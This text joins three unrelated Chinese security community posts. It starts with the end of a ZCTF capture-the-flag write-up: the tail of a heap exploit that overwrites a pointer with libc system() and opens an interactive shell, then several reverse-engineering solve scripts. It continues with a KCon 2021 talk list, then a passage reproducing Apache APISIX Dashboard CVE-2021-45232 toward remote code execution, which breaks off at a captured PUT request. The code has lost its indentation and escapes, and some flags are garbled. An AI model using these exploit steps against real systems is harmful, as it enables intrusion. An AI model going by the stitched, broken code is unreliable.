system_offset = elf_info.symbols["system"]
libc_base = alarm_addr - alarm_offset
system_addr = libc_base + system_offset
data = l64(system_addr)[:6]
edit_note(io, 1, data)
delete_note(io, 6)
io.interact()
io = get_io(target)
pwn(io)
结果:
flag: ZCTF{No_s1-1Ow_n0dfs_1eak!@#}
**REVERSE**
Reverese100
这个题最开始是个矩阵运行,算了半天算出来flag为zctf{Wrong_Flag},明显不对。继续往后分析,真正的代码在后面。
value = '32 02 00 00 85 02 00 00 F4 02 00 00 53 03 00 00 98 03 00 00 F9 03 00 00 6C 04 00 00 E5 04 00 00 44 05 00 00 93 05 00 00 FB 05 00 00 5A 06 00 00 A1 06 00 00 10 07 00 00 74 07 00 00 F1 07 00 00'
d = ''
for l in value.split(' '):
d += chr(int(l, 16))
print len(d)
from zio import *
d2 = []
d0 = ord('z')+ord('c')+ord('t')+ord('f')
d2.append(d0)
for i in range(len(d)/4):
d2.append(l32(d[i*4:i*4+4]))
flag = ''
for i in range(len(d2)-1):
flag += chr(d2[i+1]-d2[i])
print 'zctf'+flag
Reverse200
Flag形式如下:ZCTF{123_4567_abc_defghijklm}
其中123对应的md5为371265e33e8d751d93b148067c36eb4c,对应的3的字符为c0c
4567处对应的4个字符+一个’x00’的md5为'03d2370991fbbb9101dd7dcf4b03d619',求得4567处对应LIK3.
md5str = '03d2370991fbbb9101dd7dcf4b03d619'
for a1 in range(0x20, 0x7f):
for a2 in range(0x20, 0x7f):
for a3 in range(0x20, 0x7f):
for a4 in range(0x20, 0x7f):
src = chr(a1) + chr(a2) + chr(a3) + chr(a4) + 'x00'
m2 = hashlib.md5()
m2.update(src)
if m2.hexdigest() == md5str:
print 'find'
print src
abc处的3个字符做了base64加密之后进行比较,求得为E4t.
经过上面的比较后,程序用de处的两个字符对subkey文件内容进行异或,输出到subsubkey中。
再后面对整个flag做了次md5。但是因为整个flag中有10个字节不知道,爆破不太现实。
感觉subsubkey文件应该是有意义的,通过枚举de处的所有可能,得到所有的输出,通过file命令发现当de为ST时,subsubkey为一个rar文件,解压出来有剩下的8个字符。
Flag为:ZCTF{c0c_LIK3_E4t_ST6aw4ErrY}E4t.
Reverse300
Arm64的程序,最近新出的ida6.9支持arm64反编译,不过可惜没有正版ida。
看了下主要函数就几个,所以选择直接看汇编了。结合qemu,可以进行动态调试。
首先,ida对arm64程序的库函数识别不是很好(用的ida6.6),通过readelf解析出来的库函数对ida中的库函数手动修正。
之后就是纯看代码了,大概弄清楚了程序流程:
首先将输入的字符串每3个一组,变换成4个字节,得到buff2.
Buff2中每5个字节一组,做了一个矩阵乘法,得到buff3.
Buff3与固定字符串比较。代码大致如下:
flag = 'zctf{1234567890}'.ljust(18, 'x00')
d9 = []
for i in range(len(flag)/3):
d = (ord(flag[3*i])<<16)+(ord(flag[3*i+1])<<8)+ord(flag[3*i+2])
#print d,
d1 = (d>>18)&0x3f
d2 = (d>>12)&0x3f
d3 = (d>>6)&0x3f
d4 = d & 0x3f
print hex(d1), hex(d2), hex(d3), hex(d4)
if d1 != 0:
d9.append(d1)
if d2 != 0:
d9.append(d2)
if d3 != 0:
d9.append(d3)
else:
d9.append(0x40)
if d4 != 0:
d9.append(d4)
else:
d9.append(0x40)
d8 = [21, 8, 24, 7, 1, 25, 4, 20, 16, 0, 2, 13, 16, 10, 14, 18, 3, 20, 18, 25, 3, 12, 23, 0, 24]
for i in range(len(d9)/5):
for j in range(5):
a = d9[i*5]*d8[j*5]+d9[i*5+1]*d8[j*5+1]+d9[i*5+2]*d8[j*5+2]+d9[i*5+3]*d8[j*5+3]+d9[i*5+4]*d8[j*5+4]
print hex(a)
逆向代码:
m = [[21.0, 8.0, 24.0, 7.0, 1.0], [25.0, 4.0, 20.0, 16.0, 0.0],
[2.0, 13.0, 16.0, 10.0, 14.0], [18.0, 3.0, 20.0, 18.0, 25.0], [3.0, 12.0, 23.0, 0.0, 24.0]]
flag_lists = [[1219.0, 1274.0, 1158.0, 1549.0, 1205.0], [2777.0, 2771.0, 2387.0, 3440.0, 2833.0],
[1422.0, 1753.0, 1723.0, 2369.0, 1483.0], [2071.0, 2283.0, 1936.0, 3483.0, 2435.0]]
for flag in flag_lists:
result3 = mat(m)**-1 * mat(flag).T
print result3
sbs = '''
22.0000
36.0000
13.0000
20.0000
17.0000
39.0000
45.0000
56.0000
31.0000
37.0000
21.0000
47.0000
8.0000
55.0000
28.0000
51.0000
26.0000
22.0000
29.0000
61.0000
'''
res2 = []
for sb in sbs.strip().split('n'):
res2.append(int(sb.split('.')[0]))
for res in res2:
print hex(res), hex(res&0x3f)
from zio import *
flag = ''
for i in range(len(res2)/4):
result = (res2[i*4]<<18)+(res2[i*4+1]<<12)+(res2[i*4+2]<<6)+res2[i*4+3]
flag += l32(result)[0:3][::-1]
print flag
解得flag为: ZCTF{x~Uo#w3ig}
Reverse500
创建了一个子进程,首先对主进程对输入的数据进行了变换,变换后放到004079D8处,然后子进程再进行判断。
父进程中变换的函数使用一堆jmp进行了混淆。
通过记录程序运行的eip,然后再进行分析,分析发现就是个base64解密,然后挨着的两两字符异或,得到buff2。
在子进程中,将buff2[i]^i与固定字符串比较。
f = open('./reverse500.exe', 'rb')
d = f.read()[0x506c:0x506c+54]
result = ''
for i in range(53):
result += chr(ord(d[i])^i)
result2 = ''
result2 += result[0]
for i in range(52):
result2 += chr(ord(result2[i])^ord(result[i+1]))
print result2
print base64.b64decode('WkNURntJX1c0TlRfSm1QX2pNcF8mJl9CNFMxXzY0X0BeX15AIX0=')
得到flag为:ZCTF{I_W4NT_JmP_jMp_&&_B4S1_64_@^_^@!}
Simulator
实现了一个简单的虚拟机(或者叫模拟器)。
定位到虚拟机初始化的地方:
通过之后的分析,可以猜出vreg、vpc、vsp、vflag和vmem。
之后一共支持24条指令:
0 initvm
1 mov regi, imm a1!=0
mov regi, regj a1=0
2: a1 == 0: mov regi, byte [regj]
a1 == 1: mov regi, word [regj]
a1 == 2: mov regi, dword [regj]
3: a1 == 0: mov byte [regj], regi
a1 == 1: mov word [regj], regi
a1 == 2: mov dword [regj], regi
4. pop regi
5. push regi
6. a1 == 0: print regi #c
a1 == 1: print regi #d
a1 == 2: print regi #x
a1 == 3: print vmem[regi]
7. a1 == 0: scanf regi #c
a1 == 1: scanf regi #d
a1 == 2: scanf regi #x
a1 == 3: scanf vmem[regi]
8. ret
9. a1 == 0 jmp imm
a1 == 1: jz imm
a1 == 2 jnz imm
a1 == 3: jl imm
10. a1 == 0: jmp regi
a1 == 1: jz regi
a1 == 2 jnz regi
a1 == 3: jl regi
11. a1 != 0: add regi, imm
a1 == 0: add regi, regj
12. sub
13. and
14. or
15. xor
16. cmp
17. exit
18. a1 == 0: mov regi, byte mem[regj]
a1 == 1:mov regi, word mem[regj]
a1 == 2:mov regi, dword mem[regj]
19. a1 == 0: mov byte mem[regj], regi
a1 == 1:mov word mem[regj], regi
a1 == 2:mov dword mem[regj], regi
20. a1 != 0:call imm
a1 == 0:call regi
21 nop
22 inc regi
23 dec regi
24 test regi, regj
根据逆向出来的指令格式,去反汇编分析input.bin。
程序逐字节累加,然后比较。
adds = [68, 116, 211, 300, 411, 529, 624, 673, 706, 813, 864, 959, 1014, 1086, 1137, 1232, 1285, 1390, 1499, 1616]
value = 0
result = ''
for add in adds:
result += chr(add-value)
value = add
print 'result:'+result
求得结果为D0_Yov_1!k3_7H3_5imu
最后6个字节的比较麻烦一些,直接用z3求解了。
from z3 import *
r10 = Real('r10')
r11 = Real('r11')
r12 = Real('r12')
r13 = Real('r13')
r14 = Real('r14')
r15 = Real('r15')
s = Solver()
s.add(r10 + r11 == 0x65)
s.add(r12 + r13 == 0x109-0x65)
s.add(r14 + r15 == 0x1ba-0x109)
s.add(r11 + r13 + r15 == 0xa3)
s.add(r10 + r12 == 0x148-0xa3)
s.add(r11 + r12 == 0xa8)
print(s.check())
print(s.model())
最终flag为: zctf{D0_Yov_1!k3_7H3_5imu14t0r?}
Android400
本apk为2048的游戏修改版,玩到一定的分数就会弹出输入flag的窗口,flag窗口的activity为Secret,该类会载入Auth这个lib
观察其create函数,重点看最后一行setOnClickListener,其绑定的按钮监听器为i
跟进类i的onClick函数,其中下面这段语句干了很多事。j.b函数取得了该apk的签名存到v1,重点看最后一行this.a.a的调用。
this.a.a函数实际调用Secret.a函数,该函数中主要的语句是下面这条。
其中Secret.a函数取得assets目录下的libListerner文件的内容,h.a函数将libListerner文件的内容用之前取得的签名作为密钥进行des解密,h.b函数将解密后的内容写入/data/data/com.zctf.zctf2048/libListener,也就是说这里如果想自己重新编译apk的话会比较麻烦。
随后程序调用h.a运行libListerner
随后程序会调用本地函数进行进一步处理。
用ida打开libAuth.so,跟进到程序Java_com_zctf_zctf2048_Auth_AskForAnswer调用的地方。其取得了传入的字符串后调用了sendAndAsk函数
跟进查看,发现程序尝试连接本机的8000端口(转成小端为8000),
并进行tea加密。
最后传输过去
可以推测libListerner会监听8000端口,做进一步处理
用ida打开liblistener之后,定位到main函数,发现不是很复杂,就直接静态看了。
首先进行了tea算法,然后进行了变形base64,然后做了一个简单的变换。
在解密的过程中,发现变形base64解密完成之后,就已经得到flag了,(tea解密都不用算)。
table = [87, 12, 4294967283L, 4294967291L, 4294967282L, 15, 4294967262L, 68, 4294967293L, 4294967253L, 27, 4294967274L, 13, 4294967287L, 26, 11, 4294967229L, 36, 4294967268L, 58, 0, 4294967236L, 64, 4294967233L, 57, 4294967239L, 17, 2, 11, 4294967293L, 23, 4294967247L]
def sub_8c20(a1, a2):
v2 = 87
if a2:
v2 = 65
if a2 <= 31:
v2 = (a1 + table[a2])&0xff
return v2
v6 = 65
result = ''
for i in range(32):
v6 = sub_8c20(v6, i)
result += chr(v6)
print result
str2 = "GHgSTU45IMNesVlZadrXf17qBCJkxYWhijOyzbcR6tDPw023KLA8QEFuvmnop9+/"
import base64
def get_index(ch):
for i in range(len(str2)):
if str2[i] == ch:
return i
raise Exception('error')
flag = ''
from zio import *
for i in range(len(result)/4):
d1 = get_index(result[4*i])
d2 = get_index(result[4*i+1])
d3 = get_index(result[4*i+2])
d4 = get_index(result[4*i+3])
d = (d1<<18)+(d2<<12)+(d3<<6)+d4
flag += l32(d)[0:3][::-1]
print flag
最终flag为zctf{i_d0N()T_L1k3_2048} | 社区文章 |
今年是 KCon
10周年，疫情环境下线下会议举步维艰，原本计划在8月底进行的大会随后推迟到10月底。相比往年，今年很多人没能来到现场，但对于各项议题也同样高度关注。
考虑到未到场听众的急切心情，我们决定提前对外发布 KCon 议题。经过市场部同事的加班加点，在征得演讲嘉宾的同意或者修改后，最终开放14个议题的ppt。
# **macOS Big Sur内核漏洞挖掘与利用**
**演讲者：**
潘振鹏（aka Peterpan0927），阿里安全潘多拉实验室高级安全工程师。专注于macOS/iOS方向漏洞挖掘和利用，曾在Zer0con
2021等会议上进行过分享。
**议题介绍：**
本议题将介绍如何通过一个越界读漏洞，多次漏洞类型转换，在macOS Big Sur上完成100%稳定的内核代码执行，并分析漏洞审计的切入点和相关思路。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/macOS%20Big%20Sur%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98.pdf)
* * *
# **云虚拟化安全：Hypervisor的安全审计和漏洞挖掘**
**演讲者：**
钱文祥（leonwxqian），Tencent Blade
Team高级安全研究员。目前专注于云虚拟化安全方向的安全研究，也曾对IoT设备、基础软件、浏览器等方向进行过安全审计和漏洞挖掘，是《白帽子讲浏览器安全》一书的作者。发现过“麦哲伦
1.0/2.0”（SQLite）、Curl等的多个代码执行漏洞，并通过漏洞全球首家攻破Amazon Echo、Google
Home智能音箱等，也曾多次参加DEF CON、BlackHat USA、HITB等会议进行演讲。leonwxqian，Tencent Blade Team
**议题介绍：**
QEMU的安全性是云安全业内重点关注对象；其代码稳定，高危漏洞很少。这次披露的是QEMU中比较罕见的可控长度越界读写漏洞，可以稳定利用并进行虚拟机逃逸，本次是首次披露该模块的漏洞细节。本次也将提供我们独到的审计方法以及在实践中总结出的防护方案，供云安全研究人员参考。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E4%BA%91%E8%99%9A%E6%8B%9F%E5%8C%96%E5%AE%89%E5%85%A8%EF%BC%9AHypervisor%E7%9A%84%E5%AE%89%E5%85%A8%E5%AE%A1%E8%AE%A1%E5%92%8C%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98.pdf)
* * *
# **Kubernetes中的异常活动检测**
**演讲者:**
朱思宇，阿里巴巴高级安全工程师，DEFCON 27 BTV演讲者，开源安全项目WatchAD与crawlergo作者。
**议题介绍：**
本议题从蓝队视角分析K8S安全风险，并详细介绍异常活动检测的思路。在国内普遍缺少系统性K8S风险防御方案的情况下，探讨了目前常见检测方案和更隐蔽的攻击手法后，提出时效性和效果更好的落地方案。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/kubernetes%E4%B8%AD%E7%9A%84%E5%BC%82%E5%B8%B8%E6%B4%BB%E5%8A%A8%E6%A3%80%E6%B5%8B.pdf)
* * *
# **服务器硬件可信与安全实践**
**演讲者：**
杨韬（stannisyang），腾讯高级安全工程师，主要研究方向为新领域安全预研与数据保护策略。
**议题介绍：**
议题将介绍服务器启动链上的安全威胁，回顾国家规范与行业领军企业在服务器硬件安全上的建设，分享腾讯如何探索与实践服务器硬件的可信与安全以及落地实践过程中遇到的各种情况。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%A1%AC%E4%BB%B6%E5%8F%AF%E4%BF%A1%E4%B8%8E%E5%AE%89%E5%85%A8%E5%AE%9E%E8%B7%B5.pdf)
* * *
# **Container escape in 2021**
**演讲者：**
李强，蚂蚁集团高级安全工程师，负责蚂蚁基础设施安全。曾经作为安全研究员在qemu、Linux
kernel、virtualbox等虚拟化软件中发现上百个安全漏洞，在CanSecWest、HITB
grsec、Syscan、Ruxcon等国际会议上分分享过相关研究成果。
**议题介绍：**
容器逃逸的攻防研究是云原生安全领域的热门议题。
本议题介绍了三种新的容器逃逸方式，其中既有传统的基于usermode
helper的逃逸方式，也有在eBPF发展、虚拟化等新技术发展下的逃逸方式。介绍了这些逃逸攻击方式之后，本议题也对如何防御这些逃逸做了详尽的讨论。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/Container%20escape%20in%202021.pdf)
* * *
# **利用AI检测隐蔽C2通信**
**演讲者：**
郑荣锋（Mr
9oclock），腾讯企业IT安全研究员，致力于利用AI技术克服专家规则难以覆盖的领域，曾发表多篇入侵检测相关高水平文章，目前主要关注C2隐蔽通信、敏感数据窃取、终端木马发现等领域。
**议题介绍：**
本议题通过探索C2通信与正常通信在网络流的汇集端表现出的差异，设计了一套全新的建模特征并提出了以通信信道为检测对象的方法。
基于训练的AI模型，本方法在对抗深度协议伪装C2通信时更具优势。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E5%88%A9%E7%94%A8AI%E6%A3%80%E6%B5%8B%E9%9A%90%E8%94%BD%E7%9A%84C2%E9%80%9A%E4%BF%A1.pdf)
* * *
# **The Achilles' Heel of CFI**
**演讲人：**
张云海，绿盟科技天机实验室负责人。从事信息安全行业十五年，主要研究方向为高级漏洞利用技术与攻防对抗。曾经在 Black Hat、Blue Hat、DEF
CON、POC、XCon、CSS TSec、VARA等安全会议上进行过主题演讲。自2014年起连续5年获得微软 Mitigation Bypass
Bounty奖励。
**议题介绍：**
CFI 是一项备受期待的缓解措施，可以有效的阻止对控制流的劫持。然而，信息安全领域也没有银弹，CFI 有着其自身固有的缺陷。本议题将介绍如何针对 CFI
的固有缺陷来突破其防御。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/the%20achilles's%20heel%20of%20cfi.pdf)
* * *
# **高级攻防演练下的Webshell**
**演讲人：**
张一臣，现360高级攻防实验室安全研究资深工程师，19岁。对红队攻防技术、尤其是Webshell与Java安全相关技术有深刻研究，曾发布多款实用性工具，有多年红蓝对抗经验。
**议题介绍：**
Webshell作为权限控制的第一步，在渗透过程中具有至关重要的作用。随着WEB安全对抗强度的提升，现今的对抗环境已经逐步由传统的外部拦截转入内部防御，如应用自我保护技术（Rasp）等技术层出不穷。同时，开发环境的进步导致的各种非常规场景，例如springboot独立Jar包/.NET预编译等等几乎让传统方式寸步难行。
本议题通过绕过流量审查、webshell武器化、代码执行/命令执行获得通用内存马、绕过Java
9安全模式、Agent对抗、不出网获得稳定的网络隧道（正向代理，不出网上线C2）、插件扩展 共七部分进行讲解，并发布多款武器化的自研工具。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E9%AB%98%E7%BA%A7%E6%94%BB%E9%98%B2%E6%BC%94%E7%BB%83%E4%B8%8B%E7%9A%84Webshell.pdf)
* * *
# **剑走偏锋-蓝军实战缓解措施滥用**
**演讲人：**
顾佳伟，绿盟科技天元实验室安全研究员，M01N战队核心成员，曾在强网杯、护网杯、工业信息安全技能大赛等重要比赛中多次获奖，目前专注于蓝军攻击技术研究、威胁分析与仿真，系统安全及终端对抗领域的研究。
**议题介绍：**
Windows中缓解措施（Mitigations）的引入，在削减攻击者机会窗口同时，亦为新的利用方式埋下伏笔。
本议题将由蓝军实战视角切入，剖析终端对抗领域中的缓解措施利用技术，并披露一种可破坏众多终端安全产品可用性的，新型防御削弱（ATT&CK T1562
Impair Defenses）技术。希望通过本次分享，为终端攻防领域研究人员带来新的思考。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E5%89%91%E8%B5%B0%E5%81%8F%E9%94%8B-%E8%93%9D%E5%86%9B%E5%AE%9E%E6%88%98%E7%BC%93%E8%A7%A3%E6%8E%AA%E6%96%BD.pdf)
* * *
# **你的智能硬件出卖了你的信息：浅谈办公及教育场景硬件供应链安全**
**演讲人：**
秦时，字节跳动?恒实验室安全研究员，专注于IoT和?线电领域的安全研究以及?动化漏洞扫描等领域。曾从事过信息安全产品硬件的设计研发、安全漏洞研究?作。曾在BlackHat、Defcon、HITB等安全会议发表演讲。
吴帆，字节跳动无恒实验室安全研究员，毕业于西安电子科技大学网络与信息安全学院，XDSEC成员之一，目前主要专注于IoT业务安全和漏洞挖掘工作。曾挖掘出Netgear、Cisco、Juniper等主流厂商的IoT网络设备高危漏洞，于2019年成功攻破天府杯IoT项目，并在BlueHat
Shanghai演讲IoT安全议题。
卢昊良，字节跳动无恒实验室安全研究员，硕士毕业于中国科学院信息工程研究所。曾在天府杯、GeekPwn、XPwn等网络安全比赛中成功攻破多款主流网络设备项目，发现过多个影响严重的远程任意代码执行0day漏洞，获得Cisco等多个国际头部厂商安全致谢并获CVE编号20余个，研究方向包括IoT安全、移动端安全、自动化漏洞挖掘等。
**议题介绍：**
智慧办公、智能教育给我们的工作学习带来了巨大便利，但是这些产品是否安全可靠呢？
字节跳动无恒实验室通过分析大量市面主流的办公教育类产品，发现大部分头部厂商的产品都存在设计缺陷，导致产品可以被植入病毒木马程序，进而窃取商业机密、监控家庭敏感地带。在本次分享中我们将以实际的产品为例，从多个角度讲述该缺陷产生原因，以及如何发现、修复该类缺陷，保障产品安全。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E6%B5%85%E8%B0%88%E5%8A%9E%E5%85%AC%E5%8F%8A%E6%95%99%E8%82%B2%E5%9C%BA%E6%99%AF%E7%A1%AC%E4%BB%B6%E4%BE%9B%E5%BA%94%E9%93%BE%E5%AE%89%E5%85%A8.pdf)
* * *
# **阿图因软件空间测绘系统的业务安全实践**
**演讲人：**
王连赢，腾讯安全玄武实验室高级安全研究员，阿图因系统技术负责人，关注软件安全研究和企业业务安全实践。
**议题介绍：**
安全研究和业务落地可能是每个安全从业者都会面临的重要命题，二者相互依存却很难平衡。
本议题将介绍玄武实验室的阿图因系统在软件供应链安全、数据隐私安全、仿冒 APP
打击等业务场景的具体实践，通过大量真实案例展示这些业务场景中的关键问题、技术难点、解决方案和最终效果。
同时议题中也包含了对于如何平衡安全研究和业务价值体现的一些思考。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E9%98%BF%E5%9B%BE%E5%9B%A0%E8%BD%AF%E4%BB%B6%E7%A9%BA%E9%97%B4%E6%B5%8B%E7%BB%98%E7%B3%BB%E7%BB%9F%E7%9A%84%E4%B8%9A%E5%8A%A1%E5%AE%89%E5%85%A8%E5%AE%9E%E8%B7%B5.pdf)
* * *
# **一枚字体crash到fuzzing的探索**
**演讲人：**
李松林（sunglin），就职于知道创宇404实验室 ，从事二进制安全研究，曾在insec 2020上发表采用fuzzing挖掘rdp协议相关漏洞等。
**议题介绍：**
fuzzing 是个经久不衰的话题和热点，通过fuzzing方式的漏洞挖掘，一方面是新攻击面的挖掘或者是fuzzing的改造和编写，以字体漏洞
fuzzing 为例，我一步一步去编写和改造fuzzing，逐步去定制fuzzing，在短期的漏洞挖掘的过程中，既收获了乐趣同时也挖到了不少的漏洞。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E4%B8%80%E6%9E%9A%E5%AD%97%E4%BD%93crash%E5%88%B0fuzzing.pdf)
* * *
# **Fairplay DRM与混淆实现**
**演讲人：**
卢俊志（ID：@pwn0rz），目前就职于美团，2年 iOS/MacOS 安全研究经验，BlackHat、HITB
Speaker，曾多次获得来自苹果等厂商的安全致谢。
王馨笛，毕业于 Royal Holloway，目前在美团从事 iOS 安全研究工作。
朱学文（Ju Zhu），目前就职于美团，有着 10+ 年的安全研究经验，曾多次获得 CVE，且受到 Google、Apple、Facebook
等厂商的致谢，也多次作为 Speaker 受邀参加 BlackHat、CodeBlue、CSS、KCon 等国内外的顶级安全会议。
**议题介绍：**
近年来，苹果为保护App Store分发的App免于盗版，开发了Fairplay DRM（DRM全称Digital Rights
Management，即数字版权保护）技术，并申请了很多相关专利。而对安全研究来说，研究iOS App的必要前提是——破解Fairplay
DRM加密的方式，俗称「砸壳」。
但长久以来，关于App DRM的研究很少，自从2013年苹果引入App
DRM机制以后，虽诞生了如Cluth、Bagbak、Flexdecrypt这样的经典「砸壳工具」，但此类「砸壳工具」通常需要越狱设备的支持，有一定的局限性。
2020年发布的M1 Mac将Fairplay
DRM机制引入了MacOS，由于Mac设备的权限没有iOS严格，我们得以在MacOS上探索更多Fairplay
DRM的原理，目前已经得出了这些密钥生成的初步结论，最终目标是使解密流程不受Apple平台的限制。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/Fairplay%20Play%20DRM.pdf)
* * *
# **顶级域接管指南**
**演讲人：**
郑同舟（ztz），360 政企安全高级攻防实验室技术负责人，拥有 10 年安全研究经验，曾发现并报告了多个漏洞，获得 Google、Ruby、Golang
等社区厂商公开致谢。
**议题介绍：**
DNS 是重要的网络空间基石技术之一，众多新领域技术均或多或少结合了 DNS 的某些特性，而甚少考虑到 DNS 本身的安全问题。本议题主要围绕 DNS
与新领域技术结合场景，展现其易出现的安全风险。
议题亮点内容：
1、云上DNS劫持技术
2、顶级域劫持技术
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2021/%E9%A1%B6%E7%BA%A7%E5%9F%9F%E6%8E%A5%E7%AE%A1%E6%8C%87%E5%8D%97.pdf)
* * *
# **Blast the door of Android closed source ROMs**
**演讲人：**
吴君陶（aka Dawuge），盘古实验室安全研究员，目前专注于Android方向的漏洞挖掘和利用，以及自动化漏洞挖掘和利用的探索。
现有的安卓闭源系统漏洞挖掘更多的还是依赖于纯逆向和代码审计，缺乏通用的模糊测试方法，这导致漏洞的潜伏期更长，存在更多风险。
**议题介绍：**
本议题将分享如何通过对如厂商闭源文件格式、系统服务等类似的问题进行更深入的理解分析，举一反三发现新攻击面，通过模糊测试发现Samsung等闭源安卓系统上的多个0day，并分析其中一些已被修复的漏洞。并分享作者在此次研究过程中针对不同闭源对象的通用模糊测试方法，以及针对java应用层自动化漏洞挖掘的一些探索和实现。
【PPT暂不公开】
* * *
# **通过代码变异衡量漏洞检测能力**
**演讲人：**
高鑫，阿里巴巴安全专家，阿里巴巴融媒体事业部应用安全负责人。多年从事于应用安全建设、渗透测试等领域，拥有丰富的安全体系建设经验。
**议题介绍：**
当今漏洞扫描产品层出不穷，但是如何衡量安全建设效果，如何发现现有体系的不足仍是安全体系建设中的一大难点。
本议题将提出一种基于代码变异的漏洞检测度量方法，在上线过程中引入变异，精细化常态化解决应用安全的度量问题。
【PPT暂不公开】
* * *
# **Chrome pdfium 漏洞挖掘**
**演讲人：**
Mr. Zhou，任职于京东安全实验室（Dawn Security
Lab）。六年二进制安全经验，包括但不限于移动端逆向、漏洞挖掘与利用，曾经任职于阿里、腾讯、奇虎360。
**议题介绍：**
公认的安全大厂（谷歌），也会存在一些极其简单的安全漏洞，比如：“整型数溢出”、“符号数比较逻辑错误”等。此议题将会分享我的漏洞挖掘经历，让你打破常规思维，从另一个角度一探Chrome的安全现状。
【PPT暂不公开】
* * *
# **THE EYE OF JAMMU AND KASHMIR**
**演讲人：**
包盛斌，前趋势科技安全研究员，专注于沙箱、威胁捕猎、网络威胁情报、BAS和反网络恐怖主义研究。
**议题介绍：**
在查谟和克什米尔特殊的地缘政治下，近年来网络恐怖主义日渐活跃，该地区的恐怖主义组织已经超过了38个，经过不断的演变，恐怖主义催生出来的网络恐怖主义成为了一种新型国家威胁。
针对这种特殊的威胁，我们进行了针对性的高级威胁狩猎。于是2020年3月首次捕获在野南亚APT组织PURPLE EARTH
CROCOTTA，我们发现查谟和克什米尔的网络间谍活动主要针对穆斯林、锡克教徒、恐怖分子和恐怖组织的洗钱活动，其中在反恐怖融资感染链中，攻击者使用了新颖的供应链攻击，攻击者建立了一个数字货币转账平台，与FBI针对地下犯罪所建立的ANOM加密聊天平台有异曲同工之妙，深入分析发现该网络间谍活动自2014年以来一直活跃。
在本演讲中，我们将揭示 PURPLE EARTH CROCOTTA 针对特殊人群的网络间谍活动与反恐怖融资的技战术分享。
【PPT暂不公开】
* * *
# **“重写”IDA之路：反编译反混淆的全面提升**
**演讲人：**
丁湛钊（Anciety）,星阑科技研究部负责人，国际CTF战队 r3kapig 队长。 主要研究逆向工程、二进制漏洞挖掘等领域，4次作为 r3kapig
主力参加最高级国际CTF赛事 DEFCON，多次参与DEFCON资格赛BCTF、XCTF等各大CTF题目制定，XMAN第三届二进制pwn方向讲师。
**议题介绍：**
在本议题中，我们将会讲述我们在反编译器上所进行的工作，讲述我们基于Ghidra的反编译器所进行的反编译器效果提升、反编译器失效修复等工作，同时还会介绍利用Ghidra反编译器实现的pcode
patch功能，可实现针对OLLVM混淆方法等的反混淆及任意pcode的反编译。
另外，我们还会介绍在反编译器改进过程中我们所学到的经验，以及未来我们计划重写的反编译器的架构。
【PPT暂不公开】
* * *
最后非常感谢我们的演讲嘉宾、感谢我们的志愿者、感谢来参加我们会议的参会者们、感谢我们辛苦同事们、感谢我们主持人及唤醒表演嘉宾、感谢赞助商及所有支持KCon的朋友们！明年KCon再见！
* * * | 社区文章 |
# Apache apisix介绍
> **由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，文章作者不为此承担任何责任。**
Apache APISIX 是一个动态、实时、高性能的 API 网关，
提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作
Apache APISIX。
# 漏洞概述
该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架，所有的 API
和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin
的接口，从而绕过身份验证。CVE编号为：`CVE-2021-45232`
**影响版本**
Apache APISIX Dashboard < 2.10.1
**修复方案**
* 升级最新版本
简单来说就是俩关键的API可以未授权访问。
一是：
/apisix/admin/migrate/export
二是
/apisix/admin/migrate/import
**该漏洞最后可以达到RCE的效果。**
# 漏洞复现
## 环境搭建
> docker真是yyds！！
git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/
然后注意需要修改`docker-compose.yml`两处地方：
apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine
> 这里踩坑：之前只改了dashborad存在漏洞的版本号，后面发现每次进dashborad都会报错Request Error Code: 2000001
> The manager-api and apache apisix are mismatched. 后来发现对应的版本号是apisix-> dashboard-2.7 used with apisix-2.6.
>
> 具体可以看[issue2009](https://github.com/apache/apisix-> dashboard/issues/2009#issuecomment-888056846)
## 从授权角度RCE
dashborad创建好之后，默认端口9000进入web页面，admin/admin进入后台
下面讲讲怎么RCE
**点开Upstream**
**点Creat Upstream**
然后Name随便填，Targets填的是转发请求的目标服务，这里我们直接填docker内置的Grafana应用，端口为3000，懒得自己起服务了。
**然后再点左边第二个创建Route**
Name随便填，path自己选一个名字填，Select Upstream这里选你刚刚创建好的Upstream，其他的全默认即可。
**抓包**
创建好之后跑到Route页面点编辑，一直下一页，到提交那里抓个包然后加一个script字段，里面就是rce的内容
PUT /apisix/admin/routes/387835847795278530 HTTP/1.1
Host: 192.168.1.129:9000
Content-Length: 235
Accept: application/json
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDA2OTk0ODQsImlhdCI6MTY0MDY5NTg4NCwic3ViIjoiYWRtaW4ifQ.VeX6f_r2cFbwyau9h2tLwvgG2zAbJPuIAt1SoXagBJw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.1.129:9000
Referer: http://192.168.1.129:9000/routes/387835847795278530/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
